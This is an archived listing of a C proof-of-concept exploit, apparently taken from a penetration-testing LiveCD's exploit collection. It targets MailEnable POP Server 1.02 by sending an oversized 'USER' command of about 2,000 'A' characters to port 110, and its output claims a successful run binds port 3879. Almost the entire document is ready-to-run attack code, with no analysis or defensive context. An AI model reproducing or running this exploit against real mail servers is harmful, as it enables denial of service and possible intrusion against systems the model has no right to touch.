home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / mailenable / mailenable-dos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  81 lines

  1. /*
  2. *
  3. * Written by redsand
  4. * <redsand@redsand.net>
  5. * Vuln. date found: November 18. 2002
  6. * Vulnerable: Windows 9x/NT/XP MailEnable POP Server Version 1.02
  7. *
  8. * Usage: ./mailenable-dos.1.3 <host> [port] [port] is optional. default is in the #define (port 110)
  9. * Need to Enable [offset] in final release.
  10. *
  11. * Proof of Concept code (PoC)
  12. *
  13. */
  14.  
  15.  
  16. #include <stdio.h>
  17. #include <stdlib.h>
  18. #include <errno.h>
  19. #include <string.h>
  20. #include <netdb.h>
  21. #include <sys/types.h>
  22. #include <netinet/in.h>
  23. #include <sys/socket.h>
  24.  
  25. #define PORT 110
  26.  
  27. char string[2010];
  28. char death[2500];
  29. char top[5], end[50];
  30. char tag[] = "::redsand.net::";
  31.  
  32. int main(int argc, char *argv[]) {
  33.  
  34.   int sockfd, port, i;
  35.   char buf[2500];
  36.   struct hostent *ha;
  37.   struct sockaddr_in sa;
  38.   if (argc < 2 ) {
  39. printf("MailEnable POP Server Version 1.02 DoS\n:: redsand <at> redsand.net\r\nUsage: %s <host> <port>\n", argv[0]);
  40.     exit(0);
  41.   }
  42. if (argv[2]) {
  43. port = atoi(argv[2]);
  44. } else { port = PORT; }
  45. for( i = 0; i <2009; i++) {
  46. string[i] = 'A';
  47. }
  48.  
  49. strcpy(top,"USER ");
  50. strcpy(end,tag);
  51. strcpy(death,top);
  52. strcat(death,string);
  53. strcat(death,end);
  54.  
  55.   if (!(ha = gethostbyname (argv[1])))
  56.     perror ("gethostbyname");
  57.  
  58.   bzero (&sa, sizeof (sa));
  59.   bcopy (ha->h_addr, (char *) &sa.sin_addr, ha->h_length);
  60.   sa.sin_family = ha->h_addrtype;
  61.   sa.sin_port = htons (port);
  62.  
  63.   if ((sockfd = socket (ha->h_addrtype, SOCK_STREAM, 0)) < 0) {
  64.     perror ("socket");
  65.     exit (1);
  66.   }
  67.  printf("MailEnable :: redsand <at> redsand.net\r\n+ connecting...\n");
  68.   if (connect (sockfd, (struct sockaddr *) &sa, sizeof(sa)) < 0) {
  69.     perror ("connect");
  70.     exit (1);
  71.   }
  72.   printf("+ connected\n+ sending request to pop3 server\n");
  73.   send(sockfd, death, sizeof(death), 0);
  74.   // read(sockfd, buf, 2050, 0);
  75.     close(sockfd);
  76.   printf("+ finished\n");
  77.   printf("\r\rIf exploit worked, then it should bind port on 3879\n");
  78. }
  79.  
  80. /* redsand.net */
  81.